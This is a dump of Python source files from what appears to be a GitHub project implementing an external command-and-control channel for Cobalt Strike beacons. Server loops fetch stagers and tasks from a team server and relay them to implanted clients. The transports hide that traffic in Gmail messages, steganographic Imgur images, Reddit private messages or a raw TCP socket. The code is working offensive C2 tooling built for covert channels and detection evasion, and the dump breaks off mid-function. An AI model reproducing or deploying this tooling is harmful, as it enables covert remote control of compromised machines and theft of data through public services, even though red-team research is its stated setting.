| 319 | # TODO: Add logic that will check and recieve a confirmation from the client that it is ready to recieve and inject the stager 320 | # Poll covert channel for 'READY2INJECT' message from client 321 | # * We can make the client send out 'READY2INJECT' msg from client periodically when it doesn't have a running beacon so that we don't miss it 322 | # if args.verbose: 323 | # print commonUtils.color("Client ready to recieve stager") 324 | 325 | # ##################### 326 | 327 | # Prep the transport module 328 | transport.prepTransport() 329 | 330 | # Let's get the stager from the c2 server 331 | stager_status = configureStage.main(sock) 332 | 333 | if stager_status != 0: 334 | # Something went horribly wrong 335 | print commonUtils.color("Something went terribly wrong while configuring the stager!", status=False, warning=True) 336 | sys.exit(1) 337 | 338 | # TODO: Add logic that will check and recieve confirmation from the client that it is ready to recieve and process commands 339 | # Poll covert channel for 'READY4CMDS' message from client 340 | 341 | # Now that the stager is configured, lets start our main loop 342 | while True: 343 | if args.verbose: 344 | print commonUtils.color("Checking the c2 server for new tasks...") 345 | 346 | newTask = establishedSession.checkForTasks(sock) 347 | 348 | # once we have a new task (even an empty one), lets relay that to our client 349 | if args.debug: 350 | print commonUtils.color("Encoding and relaying task to client", status=False, yellow=True) 351 | establishedSession.relayTask(newTask) 352 | # Attempt to retrieve a response from the client 353 | if args.verbose: 354 | print commonUtils.color("Checking the client for a response...") 355 | b_response = establishedSession.checkForResponse() 356 | 357 | # Let's relay this response to the c2 server 358 | establishedSession.relayResponse(sock, b_response) 359 | sleep(C2_BLOCK_TIME/100) # python sleep is in seconds, C2_BLOCK_TIME in milliseconds 360 | 361 | 362 | # Restart this loop 363 | except KeyboardInterrupt: 364 | if args.debug: 365 | print commonUtils.color("\nClosing the socket to the c2 server") 366 | commonUtils.killSocket(sock) 367 | print commonUtils.color("\nExiting...", warning=True) 368 | sys.exit(0) 369 | 370 | main() 371 | -------------------------------------------------------------------------------- /skeletons/frameworks/cobalt_strike/server/server.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import argparse 3 | from utils import commonUtils 4 | import configureStage 5 | import establishedSession 6 | import config 7 | from time import sleep 8 | import beacon 9 | import threading 10 | import Queue 11 | 12 | 13 | def importModule(modName, modType): 14 | """ 15 | Imports a passed module as either an 'encoder' or a 'transport'; called with either encoder.X() or transport.X() 16 | """ 17 | prep_global = "global " + modType 18 | exec(prep_global) 19 | importName = "import utils." + modType + "s." + modName + " as " + modType 20 | exec(importName, globals()) 21 | 22 | 23 | def task_loop(beacon_obj): 24 | """ 25 | This function should definitely be called as a thread 26 | 27 | :param beacon_obj: An already declared beacon.Beacon object, Beacon.beacon_id should already be defined. 28 | :return: 29 | """ 30 | 31 | # Start with logic to setup the connection to the external_c2 server 32 | beacon_obj.sock = commonUtils.createSocket() # TODO: Move to when the server polls for a new beacon 33 | 34 | # TODO: Add logic that will check and recieve a confirmation from the client that it is ready to recieve and inject the stager 35 | # Poll covert channel for 'READY2INJECT' message from client 36 | # * We can make the client send out 'READY2INJECT' msg from client periodically when it doesn't have a running beacon so that we don't miss it 37 | if config.verbose: 38 | print commonUtils.color("Client ready to recieve stager") 39 | 40 | # Let's get the stager from the c2 server 41 | stager_status = configureStage.loadStager(beacon_obj) 42 | 43 | if stager_status != 0: 44 | # Something went horribly wrong 45 | print commonUtils.color("Beacon {}: Something went terribly wrong while configuring the stager!", status=False, 46 | warning=True).format(beacon_obj.beacon_id) 47 | sys.exit(1) # TODO: Have this instead exit the thread, rather than the application 48 | 49 | # TODO: Add logic that will check and recieve confirmation from the client that it is ready to recieve and process commands 50 | # Poll covert channel for 'READY4CMDS' message from client 51 | 52 | # Now that the stager is configured, lets start our main loop for the beacon 53 | while True: 54 | if config.verbose: 55 | print commonUtils.color("Beacon {}: Checking the c2 server for new tasks...").format(beacon_obj.beacon_id) 56 | 57 | # Each beacon has it's own unique socket, so no need for framework to be aware of our internal beacon id 58 | newTask = establishedSession.checkForTasks(beacon_obj.sock) 59 | 60 | # Stuff task into data model 61 | task_frame = [beacon_obj.beacon_id, newTask] 62 | # once we have a new task (even an empty one), lets relay that to our client 63 | if config.debug: 64 | print commonUtils.color("Beacon {}: Encoding and relaying task to client", status=False, yellow=True).format(beacon_obj.beacon_id) 65 | 66 | # Task frame contains beacon_id in it 67 | establishedSession.relayTask(task_frame) 68 | # Attempt to retrieve a response from the client 69 | if config.verbose: 70 | print commonUtils.color("Beacon {}: Checking the client for a response...").format(beacon_obj.beacon_id) 71 | b_response_frame = establishedSession.checkForResponse(beacon_obj.beacon_id) 72 | b_response_data = b_response_frame[1] 73 | 74 | # Let's relay this response to the c2 server 75 | establishedSession.relayResponse(beacon_obj.sock, b_response_data) 76 | sleep(int(beacon_obj.block_time) / 100) # python sleep is in seconds, C2_BLOCK_TIME in milliseconds 77 | 78 | def main(): 79 | # Argparse for certain options 80 | parser = argparse.ArgumentParser() 81 | parser.add_argument('-v', action='store_true', help='Enable verbose output', dest='verbose', default=False) 82 | parser.add_argument('-d', action='store_true', help='Enable debugging output', dest='debug', default=False) 83 | 84 | 85 | # Call arguments with args.$ARGNAME 86 | args = parser.parse_args() 87 | 88 | # Assign the arguments to config.$ARGNAME 89 | if not config.verbose: 90 | config.verbose = args.verbose 91 | if not config.debug: 92 | config.debug = args.debug 93 | 94 | # Enable verbose output if debug is enabled 95 | if config.debug: 96 | config.verbose = True 97 | 98 | # Import our defined encoder and transport modules 99 | if config.verbose: 100 | print (commonUtils.color("Importing encoder module: ") + "%s") % (config.ENCODER_MODULE) 101 | importModule(config.ENCODER_MODULE, "encoder") # TODO: Why does this exist twice? 102 | commonUtils.importModule(config.ENCODER_MODULE, "encoder") 103 | if config.verbose: 104 | print (commonUtils.color("Importing transport module: ") + "%s") % (config.TRANSPORT_MODULE) 105 | importModule(config.TRANSPORT_MODULE, "transport") # TODO: why does this exist twice? 106 | commonUtils.importModule(config.TRANSPORT_MODULE, "transport") 107 | 108 | # TODO: Check here whether we're doing batch processing; if not, have prepTransport run in beacon thread instead 109 | # Prep the transport module 110 | prep_trans = transport.prepTransport() 111 | 112 | active_beacons = [] # TODO: May need to be a global? This will become obsolete if db functionality is implemented 113 | new_beacon_queue = Queue.Queue() 114 | while True: 115 | try: 116 | # TODO: add logic to check for new beacons here that will return a beacon.Beacon object 117 | if config.debug: 118 | print commonUtils.color("Checking for new clients", status=False, 119 | yellow=True) 120 | new_client = commonUtils.get_new_clients() 121 | if new_client is not 0: 122 | new_client_obj = beacon.Beacon() 123 | new_client_obj.beacon_id = new_client[0] 124 | new_client_obj.block_time = new_client[1][0] 125 | new_client_obj.pipe_name = new_client[1][1] 126 | new_client_obj.beacon_arch = new_client[1][2] 127 | new_beacon_queue.put(new_client_obj) 128 | while not new_beacon_queue.empty(): 129 | try: 130 | beacon_obj = new_beacon_queue.get() 131 | print commonUtils.color("Attempting to start session for beacon {}").format(beacon_obj.beacon_id) 132 | t = threading.Thread(target=task_loop, args=(beacon_obj,)) 133 | t.daemon=True 134 | t.start() 135 | if config.debug: 136 | print commonUtils.color("Thread started", status=False, 137 | yellow=True) 138 | # Restart this loop 139 | pass 140 | except Exception as e: 141 | print commonUtils.color("Error occured while attempting to start beacon {}", status=False, warning=True).format(beacon_obj.beacon_id) 142 | print commonUtils.color("Exception is: {}", status=False, warning=True).format(e) 143 | pass 144 | 145 | except KeyboardInterrupt: 146 | if config.debug: 147 | print commonUtils.color("\nClosing all sockets to the c2 server") 148 | commonUtils.killSocket(beacon_obj.sock) # TODO Kill all sockets for every active beacon 149 | print commonUtils.color("\nExiting...", warning=True) 150 | sys.exit(0) 151 | 152 | # TODO: Determine best way to determine how long to sleep between checks for new beacons 153 | sleep(120) # Default timer between new beacon checks 154 | 155 | main() 156 | -------------------------------------------------------------------------------- /skeletons/frameworks/cobalt_strike/server/utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Und3rf10w/external_c2_framework/9bbcb0d7bbe06b7aa5711808f494cdca7643d87e/skeletons/frameworks/cobalt_strike/server/utils/__init__.py -------------------------------------------------------------------------------- /skeletons/frameworks/cobalt_strike/server/utils/commonUtils.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import config 4 | import base64 5 | from ast import literal_eval 6 | 7 | 8 | def importModule(modName, modType): 9 | """ 10 | Imports a passed module as either an 'encoder' or a 'transport'; called with either encoder.X() or transport.X() 11 | """ 12 | prep_global = "global " + modType 13 | exec(prep_global) 14 | importName = "import utils." + modType + "s." + modName + " as " + modType 15 | exec(importName, globals()) 16 | 17 | def createSocket(): 18 | # Borrowed from https://github.com/outflanknl/external_c2/blob/master/python_c2ex.py 19 | d = {} 20 | d['sock'] = socket.create_connection((config.EXTERNAL_C2_ADDR, int(config.EXTERNAL_C2_PORT))) 21 | d['state'] = 1 22 | return (d['sock']) 23 | 24 | def sendFrameToC2(sock, chunk): 25 | slen = struct.pack(' 8 | VERSION = 0 9 | # 10 | 11 | def encode(data, photo_id=1, list_size=1): 12 | img = Image.new('RGB', (4320,4320), color = 'red') 13 | pix = img.load() 14 | x = 1 15 | for byte in data: 16 | pix[x,x] = (pix[x,x][0], pix[x,x][1], ord(byte)) 17 | x = x + 1 18 | pass 19 | pix[0,0] = (VERSION, photo_id, list_size) 20 | img_byte_array = StringIO() 21 | img.save(img_byte_array, format='PNG') 22 | return img_byte_array 23 | 24 | def decode(image): 25 | stego_pix = image.load() 26 | byte_list = [] 27 | 28 | for y in range(1, image.size[1]): 29 | # Add our byte we wnat 30 | byte_list.append(chr(stego_pix[y,y][2])) 31 | pass 32 | 33 | return ''.join(byte_list) 34 | -------------------------------------------------------------------------------- /skeletons/frameworks/cobalt_strike/server/utils/transports/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Und3rf10w/external_c2_framework/9bbcb0d7bbe06b7aa5711808f494cdca7643d87e/skeletons/frameworks/cobalt_strike/server/utils/transports/__init__.py -------------------------------------------------------------------------------- /skeletons/frameworks/cobalt_strike/server/utils/transports/transport_gmail.py: -------------------------------------------------------------------------------- 1 | import email 2 | import imaplib 3 | from smtplib import SMTP 4 | from smtplib import SMTP_SSL 5 | from email.MIMEMultipart import MIMEMultipart 6 | from email.MIMEBase import MIMEBase 7 | from email.MIMEText import MIMEText 8 | from time import sleep 9 | 10 | # START OF GHETTO CONFIG SECTION 11 | GMAIL_USER = 'example@gmail.com' 12 | GMAIL_PWD = 'hunter2' 13 | SERVER = 'smtp.gmail.com' 14 | SERVER_PORT = 465 15 | # END OF GHETTO CONFIG SECTION 16 | 17 | def prepTransport(): 18 | return 0 19 | 20 | def sendData(data): 21 | msg = MIMEMultipart() 22 | msg['From'] = GMAIL_USER 23 | msg['To'] = GMAIL_USER 24 | msg['Subject'] = "New4You" 25 | message_content = data 26 | print "got msg_content" 27 | 28 | msg.attach(MIMEText(str(message_content))) 29 | 30 | while True: 31 | try: 32 | #mailServer = SMTP(SERVER, SERVER_PORT) 33 | mailServer = SMTP_SSL(SERVER, SERVER_PORT) 34 | #mailServer.connect(SERVER, SERVER_PORT) 35 | #mailServer.ehlo() 36 | #mailServer.starttls() 37 | #mailServer.usetls() 38 | print "started tls" 39 | print mailServer.login(GMAIL_USER,GMAIL_PWD) 40 | print "logged in" 41 | mailServer.sendmail(GMAIL_USER, GMAIL_USER, msg.as_string()) 42 | print "sent " + str(len(msg.as_string())) + " bytes" 43 | mailServer.quit() 44 | break 45 | except Exception as e: 46 | print e 47 | sleep(10) # wait 10 seconds to try again 48 | 49 | def retrieveData(): 50 | c= imaplib.IMAP4_SSL(SERVER) 51 | c.login(GMAIL_USER, GMAIL_PWD) 52 | c.select("INBOX") 53 | 54 | #typ, id_list = c.uid('search', None, "(UNSEEN SUBJECT 'New4You')".format(uniqueid)) 55 | while True: 56 | typ, id_list = c.search(None, '(UNSEEN SUBJECT "Resp4You")') 57 | print id_list[0].split() 58 | if not id_list[0].split(): 59 | sleep(10) # wait for 10 seconds before checking again 60 | c.select("INBOX") 61 | typ, id_list = c.search(None, '(UNSEEN SUBJECT "Resp4You")') 62 | pass 63 | else: 64 | for msg_id in id_list[0].split(): 65 | msg = c.fetch(msg_id, '(RFC822)') 66 | #c.store(msg_id, '+FLAGS', '\SEEN') 67 | msg = ([x[0] for x in msg][1])[1] 68 | for part in email.message_from_string(msg).walk(): 69 | msg = part.get_payload() 70 | c.logout() 71 | return msg 72 | 73 | -------------------------------------------------------------------------------- /skeletons/frameworks/cobalt_strike/server/utils/transports/transport_imgur.py: -------------------------------------------------------------------------------- 1 | from imgurpython import ImgurClient, helpers 2 | import PIL 3 | from PIL import Image 4 | from cStringIO import StringIO 5 | import time 6 | from sys import exit 7 | import urlparse 8 | import base64 9 | import requests 10 | import zlib 11 | import utils.encoders.encoder_lsbjpg as encoder 12 | 13 | # YOU NEED TO GET A TOKEN FOR YOUR APPLICATION FIRST. 14 | # SET UP YOUR ACCOUNT. 15 | 16 | 17 | # 18 | TOKEN_LEN = 81 # Don't change this 19 | USERNAME = '' 20 | client_id = '' 21 | client_secret = '' 22 | SEND_ALBUM_NAME = "TSK4U" 23 | RECV_ALBUM_NAME = "RESP4U" 24 | access_token = '' 25 | refresh_token = '' 26 | # 27 | 28 | # Server's transport will handle access tokens and whatnot. 29 | 30 | # client's prepTransport will have to handle token refreshes. 31 | # TODO: Client won't last more than a month without this logic. 32 | # - need to add authtoken refresh logic 33 | 34 | def resetAccount(): 35 | account_albums = client.get_account_albums(USERNAME) 36 | for album in account_albums: 37 | images = client.get_album_images(album.id) 38 | for image in images: 39 | client.delete_image(image.id) 40 | client.album_delete(album.id) 41 | 42 | def prepClientTransport(): 43 | global client 44 | client = ImgurClient(client_id, client_secret) 45 | 46 | getTokens() 47 | return 0 48 | 49 | def getTokens(): 50 | while True: 51 | try: 52 | account_albums = client.get_account_albums(USERNAME) 53 | account_albums[0] 54 | if account_albums[0].title == "TK4U": 55 | break 56 | else: 57 | print "No new albums yet, sleeping for 2m" 58 | except IndexError: 59 | print "No new albums yet, sleeping for 2m" 60 | time.sleep(120) 61 | 62 | x = 0 63 | for x in range(0, len(account_albums)): 64 | token_image = client.get_album_images(account_albums[x].id)[0] 65 | token_img = Image.open(StringIO(requests.get(token_image.link).content)) 66 | stego_pix = token_img.load() 67 | if stego_pix[0,0] == (1,1,1): 68 | print "Token images found!" 69 | break 70 | else: 71 | x = x + 1 72 | pass 73 | 74 | token_bytes = [] 75 | for x in range(1, token_img.size[1]): 76 | token_bytes.append(chr(stego_pix[x,x][2])) 77 | tokens = ''.join(token_bytes[0:TOKEN_LEN]).split(',') 78 | 79 | global access_token 80 | access_token = tokens[0] 81 | global refresh_token 82 | refresh_token = tokens[1] 83 | 84 | # Cleanup time! 85 | client.set_user_auth(access_token, refresh_token) 86 | resetAccount() 87 | 88 | print "Sleeping for 600s to allow server to upload stager" 89 | time.sleep(600) 90 | 91 | return 0 92 | 93 | 94 | def checkStatus(silent=True): 95 | # Checks the account status 96 | # if we discover we don't have enough credits to continue, we will sleep until our credits are reset 97 | credits = client.make_request('GET', 'credits') 98 | 99 | # Supports pseudo debug output 100 | if silent == False: 101 | print "%d credits remaining of %d for this user's ip" %(credits['UserRemaining'], credits['UserLimit']) 102 | print "%d credits remaining of %d for this client" %(credits['ClientRemaining'], credits['ClientLimit']) 103 | print "User credits reset @ " + str(time.ctime(credits['UserReset'])) 104 | 105 | # Wait for our credits to reset if we don't have enough 106 | if int(credits['UserRemaining']) < 10: 107 | print "WARNING: Not enough credits to continue making requests, waiting for credits to replenish" 108 | while time.time() <= credits['UserReset']: 109 | print "Current time: " + str(time.ctime(time.time())) 110 | print "Reset @ %s, sleeping for 5m" % (time.ctime(credits['UserReset'])) 111 | time.sleep(300) 112 | print "Credits reset!" 113 | checkStatus() 114 | return credits 115 | 116 | 117 | def sendTokens(tokens): 118 | # Sends tokens in plain text. Eventually, I'd like to get it so I can 119 | # just pass it to the encoder, but this works for a prototype 120 | 121 | img = Image.new('RGB', (4320,4320), color = 'red') 122 | pix = img.load() 123 | token_list = list(tokens) 124 | token_list = bytearray(str(token_list[0]) + "," + str(token_list[1])) 125 | for byte in token_list: 126 | for x in range(1, len(token_list) + 1): 127 | byte = token_list[x-1] 128 | # Write the byte to the blue value in the pixel 129 | pix[x,x] = (pix[x,x][0], pix[x,x][1], byte) 130 | x = x + 1 131 | pass 132 | # Insert a UPDATE_TOKENS header 133 | pix[0,0] = (1, 1, 1) 134 | # Upload image to new album 135 | fields = {} 136 | fields = { 'title': "TK4U", 'privacy': "public"} 137 | album_object = client.create_album(fields) 138 | fields.update({"id": album_object['id']}) 139 | 140 | # Upload our image to the album 141 | img_byte_array = StringIO() 142 | img.save(img_byte_array, format='PNG') 143 | 144 | image_upload_fields = {} 145 | image_upload_fields = {'image': base64.b64encode(img_byte_array.getvalue()), 'type': 'base64', 'album': album_object['id']} 146 | while True: 147 | try: 148 | y = client.make_request('POST', 'upload', image_upload_fields) 149 | except helpers.error.ImgurClientRateLimitError: 150 | print "Hit the rate limit, sleeping for 10m" 151 | time.sleep(600) 152 | continue 153 | break 154 | 155 | 156 | # I know this is a very weird looking loop, but it was to fix a very weird bug 157 | while True: 158 | account_albums = client.get_account_albums(USERNAME) 159 | try: 160 | if account_albums[0].id: 161 | for album in account_albums: 162 | if album.id == album_object['id']: 163 | print "Album still exists, waiting 60 seconds for client to delete the tokens album" 164 | time.sleep(60) 165 | continue 166 | else: 167 | break 168 | except IndexError: 169 | break 170 | 171 | # Return the token's album hash 172 | return 0 173 | 174 | 175 | def prepTransport(): 176 | global client 177 | client = ImgurClient(client_id, client_secret) 178 | 179 | # Auth to imgur 180 | authorization_url = client.get_auth_url('token') 181 | 182 | print "Go to the following URL: {0}".format(authorization_url) 183 | try: 184 | token_url = raw_input("Insert the url you were redirected to with all parameters: ") 185 | except: 186 | token_url = input("Insert the url you were redirected to with all parameters: ") 187 | 188 | parsed = urlparse.urlparse(token_url) 189 | 190 | access_token = urlparse.parse_qs(parsed.fragment)['access_token'][0] 191 | refresh_token = urlparse.parse_qs(parsed.fragment)['refresh_token'][0] 192 | client.set_user_auth(access_token, refresh_token) 193 | 194 | if client.get_email_verification_status(USERNAME) == False: 195 | print "ERROR: YOU NEED TO VERIFY YOUR EMAIL. We'll send a verification request." 196 | client.send_verification_email(USERNAME) 197 | print "Verification email sent. Exiting..." 198 | exit(1) 199 | 200 | # Sending access and refresh token to client 201 | token_list = [] 202 | token_list.append(access_token) 203 | token_list.append(refresh_token) 204 | token_album_hash = sendTokens(token_list) 205 | 206 | # Client has recieved the tokens 207 | return 0 208 | 209 | 210 | def sendData(data): 211 | # Transport will receiving a list of images 212 | # Application will have already encoded the data 213 | # Logic will probably be different for client, 214 | # indicating that we're going to run into issues 215 | # Here, we're expecting to recieve a list of PIL images from the encoder 216 | fields = {} 217 | fields = { 'title': SEND_ALBUM_NAME, 'privacy': "hidden"} 218 | album_object = client.create_album(fields) 219 | fields.update({"id": album_object['id']}) 220 | 221 | data = base64.b64encode(zlib.compress(data, 9)) 222 | data_list = [data[i:i+4319] for i in range(0, len(data), 4319)] 223 | 224 | photo_id = 1 225 | image_upload_fields = {'type': 'base64', 'album': album_object['id']} 226 | 227 | credits = checkStatus(silent=False) 228 | # TODO: Add logic to safely check if we can upload photos here 229 | # if credits['UserRemaining'] < len(data_list) or credits['ClientRemaining'] < len(data_list): 230 | 231 | print "Uploading %d images" % (len(data_list)) 232 | for chunk in data_list: 233 | photo = encoder.encode(chunk, photo_id=photo_id) 234 | image_upload_fields.update({'image': base64.b64encode(photo.getvalue())}) 235 | while True: 236 | try: 237 | request = client.make_request('POST', 'upload', image_upload_fields) 238 | except helpers.error.ImgurClientRateLimitError: 239 | print "Hit the rate limit, sleeping for 10m" 240 | time.sleep(600) 241 | continue 242 | break 243 | photo_id = photo_id + 1 244 | del photo 245 | credits = checkStatus(silent=False) 246 | # If photo_id % 50, we'll sleep for 3 minutes to not trip our rate limit 247 | # There is an upload limit of 50 images per IP address per hour. 248 | if photo_id % 40 == 0: 249 | print "Upload limit for this hour exceeded, sleeping until next hour" 250 | time.sleep(300) 251 | 252 | 253 | def retrieveData(): 254 | # Check for new albums 255 | while True: 256 | try: 257 | account_albums = client.get_account_albums(USERNAME) 258 | account_albums[0] 259 | if account_albums[0].title == RECV_ALBUM_NAME: 260 | break 261 | else: 262 | print "No new albums yet, sleeping for 2m" 263 | time.sleep(120) 264 | except IndexError: 265 | print "No new albums yet, sleeping for 2m" 266 | time.sleep(120) 267 | 268 | x = 0 269 | reconstructed_data = "" 270 | data_list = [] 271 | 272 | # Iterate through each album 273 | for x in range(0, len(account_albums)): 274 | album_images = client.get_album_images(account_albums[x].id) 275 | 276 | # Iterate through each image in the album 277 | for image in album_images: 278 | curr_image_data = Image.open(StringIO(requests.get(image.link).content)) 279 | data_list.append(encoder.decode(curr_image_data)) 280 | pass 281 | 282 | # Reconstruct the data 283 | reconstructed_data = ''.join(data_list).strip('\0') 284 | 285 | # resetAccount() 286 | 287 | # Now lets unbase64 and decompress this data 288 | raw_data = zlib.decompress(base64.b64decode(reconstructed_data)) 289 | return raw_data 290 | -------------------------------------------------------------------------------- /skeletons/frameworks/cobalt_strike/server/utils/transports/transport_raw_socket.py: -------------------------------------------------------------------------------- 1 | # A transport module for Und3rf10w's implementation of the external_c2 spec of cobalt strike that utilizes a simple raw TCP socket as a covert channel. 2 | # Not exactly covert... 3 | 4 | import socket 5 | import sys 6 | import struct 7 | 8 | # GHETTO CONFIG, should be read in from a master configuration file... 9 | HOST = '0.0.0.0' 10 | PORT = 8081 11 | 12 | def prepTransport(): 13 | """ 14 | This functions prepares the transport module for use 15 | """ 16 | # Create a socket 17 | global transSock 18 | global connSock 19 | transSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 20 | try: 21 | print "Attempting to bind to " + str(HOST) + ":" + str(PORT) 22 | transSock.bind((HOST,PORT)) 23 | except Exception as e: 24 | print "ERROR: %s" % (e) 25 | 26 | # Start listening 27 | transSock.listen(1) 28 | print "Socket now listening, waiting for connection from client..." 29 | 30 | # Wait to accept a connection from the client: 31 | connSock, addr = transSock.accept() 32 | # 'conn' socket object is the connection to the client, send data through that 33 | print 'Connected with client @ ' + addr[0] + ":" + str(addr[1]) 34 | 35 | return connSock 36 | 37 | def sendData(data): 38 | """ 39 | This function sends 'data' via the covert channel 'connSock' 40 | """ 41 | 42 | slen = struct.pack(' 30 | 31 | 32 | def prepTransport(): 33 | # Auth as a script app 34 | global reddit # DEBUG: Not sure if needed 35 | global TASK_ID 36 | TASK_ID = "0" 37 | reddit = praw.Reddit(client_id=CLIENT_ID, 38 | client_secret=CLIENT_SECRET, 39 | password=PASSWORD, 40 | user_agent=USER_AGENT, 41 | username=USERNAME) 42 | # Debug, verify that we are connected 43 | print "We have successfully authenticated: %s" %(reddit) 44 | return reddit 45 | 46 | def sendData(data): 47 | if len(data) > 10000: 48 | data_list = [data[i:i+10000] for i in range(0, len(data), 10000)] 49 | sent_counter = 1 50 | for message in data_list: 51 | cur_subject = SEND_NAME + (" | " + str(sent_counter) + "/" + str(len(data_list))) 52 | reddit.redditor(USERNAME).message(cur_subject, message) 53 | sent_counter += 1 54 | return 0 55 | else: 56 | reddit.redditor(USERNAME).message(SEND_NAME, data) 57 | return 0 58 | 59 | 60 | def retrieveData(): 61 | counter_pattern = re.compile("^.* \| [0-9]+/[0-9]+$") 62 | total_count = re.compile("^.*/[0-9]+$") 63 | current_target = 1 64 | task = "" 65 | # First, we'll see if there's a new message, if it has a counter, 66 | # we'll take it into account, and loop through the messages to find 67 | # our first one. 68 | while True: 69 | for message in reddit.inbox.messages(limit=1): 70 | if message.id <= TASK_ID: 71 | sleep(5) 72 | pass 73 | 74 | if counter_pattern.match(message.subject) and (RECV_NAME in message.subject): 75 | # This is incredibly dirty, I apologize in advance. Basically, 76 | # we get the count, find the first message, 77 | # set it to the TASK_ID, and start to compile the full task 78 | counter_target = message.subject.split("/")[1] 79 | 80 | if message.subject == (RECV_NAME + " | 1/" + str(counter_target)): 81 | global TASK_ID 82 | TASK_ID = message.id 83 | task += message.body 84 | current_target += 1 85 | sleep(1) 86 | pass 87 | 88 | elif int(current_target) > int(counter_target): 89 | global TASK_ID 90 | TASK_ID = message.id 91 | return task 92 | 93 | elif message.subject != (RECV_NAME + " | " + str(current_target) + "/" + str(counter_target)): 94 | # We're getting these out of order, time for us to find the next message, and loop through it 95 | while True: 96 | msgiter = iter(reddit.inbox.messages()) 97 | for submessage in msgiter: 98 | if int(current_target) > int(counter_target): 99 | global TASK_ID 100 | TASK_ID = message.id 101 | return task 102 | if submessage.subject == (RECV_NAME + " | " + str(current_target) + "/" + str(counter_target)): 103 | current_target += 1 104 | task += submessage.body 105 | # sleep(0.1) 106 | break 107 | if submessage.subject != (RECV_NAME + " | " + str(current_target) + "/" + str(counter_target)): 108 | # sleep(0.1) 109 | continue 110 | else: 111 | pass 112 | 113 | # Got our new task 114 | elif message.subject == RECV_NAME: 115 | task = message.body 116 | global TASK_ID 117 | TASK_ID = message.id 118 | return task 119 | 120 | else: 121 | # message.id isn't right, but we don't have a task yet 122 | sleep(5) 123 | pass -------------------------------------------------------------------------------- /skeletons/transports/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Und3rf10w/external_c2_framework/9bbcb0d7bbe06b7aa5711808f494cdca7643d87e/skeletons/transports/__init__.py -------------------------------------------------------------------------------- /skeletons/transports/gmail/TRANSPORT_DEFINITIONS.md: -------------------------------------------------------------------------------- 1 | # Builder replacement mapping definitions 2 | 3 | This document lists and defines the builder definitons used for the `SkeletonHandler()` utility for documentation purposes for the framework: `cobalt_strike`. 4 | 5 | Values marked: `# * - Defined by user` will be read in from values directly defined by the user. Values not marked as such are defined by the conditions of the environment during execution of the builder logic. 6 | 7 | Generally unless noted otherwise, strings must be written in the config as `string`. In addition, unless noted otherwise, numbers are written as `1` and have their type forced in the code. 8 | 9 | For example, 10 | ```python 11 | [component] 12 | # Will be written to the file as 'bar' 13 | foo = bar 14 | # Written as: 15 | # foo = 'bar' 16 | 17 | # Will be written to the file as '1' 18 | baz = 1 19 | # Written as: 20 | # baz = '1' 21 | ``` 22 | 23 | ## Definitions 24 | ##### transports/gmail/transport_gmail.py 25 | ``` 26 | # The Gmail User to authenticate with and send emails to 27 | GMAIL_USER = ```[var:::gmail_user]``` 28 | 29 | # The password for the above gmail user 30 | GMAIL_PWD = ```[var:::gmail_pwd]``` 31 | 32 | # The gmail server to authenticate to. Use smtp.gmail.com 33 | SERVER = ```[var:::smtp_server]``` 34 | 35 | # The port to cconnect to the server above on 36 | SERVER_PORT = ```[var:::smtp_port]``` 37 | 38 | # The amount of time in seconds to wait before attempting to resend messages 39 | RETRY_TIMER = ```[var:::retry_time]``` 40 | ``` 41 | -------------------------------------------------------------------------------- /skeletons/transports/gmail/transport_gmail.py: -------------------------------------------------------------------------------- 1 | import email 2 | import imaplib 3 | from smtplib import SMTP 4 | from smtplib import SMTP_SSL 5 | from email.MIMEMultipart import MIMEMultipart 6 | from email.MIMEBase import MIMEBase 7 | from email.MIMEText import MIMEText 8 | from time import sleep 9 | 10 | # START OF GHETTO CONFIG SECTION 11 | GMAIL_USER = ```[var:::gmail_user]``` 12 | GMAIL_PWD = ```[var:::gmail_pwd]``` 13 | SERVER = ```[var:::smtp_server]``` 14 | SERVER_PORT = int(```[var:::smtp_port]```) 15 | RETRY_TIMER = int(```[var:::retry_time]```) 16 | # END OF GHETTO CONFIG SECTION 17 | 18 | def prepTransport(): 19 | return 0 20 | 21 | def send_server_notification(notification_data_frame): 22 | msg = MIMEMultipart() 23 | msg['From'] = GMAIL_USER 24 | msg['To'] = GMAIL_USER 25 | msg['Subject'] = "SessInit" 26 | message_content = str(notification_data_frame) 27 | 28 | msg.attach(MIMEText(str(message_content))) 29 | 30 | while True: 31 | try: 32 | # mailServer = SMTP(SERVER, SERVER_PORT) 33 | mailServer = SMTP_SSL(SERVER, SERVER_PORT) 34 | # mailServer.connect(SERVER, SERVER_PORT) 35 | # mailServer.ehlo() 36 | # mailServer.starttls() 37 | # mailServer.usetls() 38 | print "started tls" 39 | print mailServer.login(GMAIL_USER, GMAIL_PWD) 40 | print "logged in" 41 | mailServer.sendmail(GMAIL_USER, GMAIL_USER, msg.as_string()) 42 | print "sent " + str(len(msg.as_string())) + " bytes" 43 | mailServer.quit() 44 | break 45 | except Exception as e: 46 | print e 47 | sleep(RETRY_TIMER) # wait RETRY_TIME seconds to try again 48 | 49 | def sendData(beacon_id, data): 50 | msg = MIMEMultipart() 51 | msg['From'] = GMAIL_USER 52 | msg['To'] = GMAIL_USER 53 | msg['Subject'] = str(beacon_id) + ":New4You" 54 | message_content = str(data) 55 | print "got msg_content" 56 | 57 | msg.attach(MIMEText(str(message_content))) 58 | 59 | while True: 60 | try: 61 | #mailServer = SMTP(SERVER, SERVER_PORT) 62 | mailServer = SMTP_SSL(SERVER, SERVER_PORT) 63 | #mailServer.connect(SERVER, SERVER_PORT) 64 | #mailServer.ehlo() 65 | #mailServer.starttls() 66 | #mailServer.usetls() 67 | print "started tls" 68 | print mailServer.login(GMAIL_USER,GMAIL_PWD) 69 | print "logged in" 70 | mailServer.sendmail(GMAIL_USER, GMAIL_USER, msg.as_string()) 71 | print "sent " + str(len(msg.as_string())) + " bytes" 72 | mailServer.quit() 73 | break 74 | except Exception as e: 75 | print e 76 | sleep(RETRY_TIMER) # wait RETRY_TIME seconds to try again 77 | 78 | 79 | def check_for_new_clients(): 80 | c = imaplib.IMAP4_SSL(SERVER) 81 | c.login(GMAIL_USER, GMAIL_PWD) 82 | c.select("INBOX") 83 | 84 | typ, id_list = c.search(None, '(UNSEEN SUBJECT "SessInit")') 85 | print id_list[0].split() 86 | if not id_list[0].split(): 87 | return None 88 | else: 89 | for msg_id in 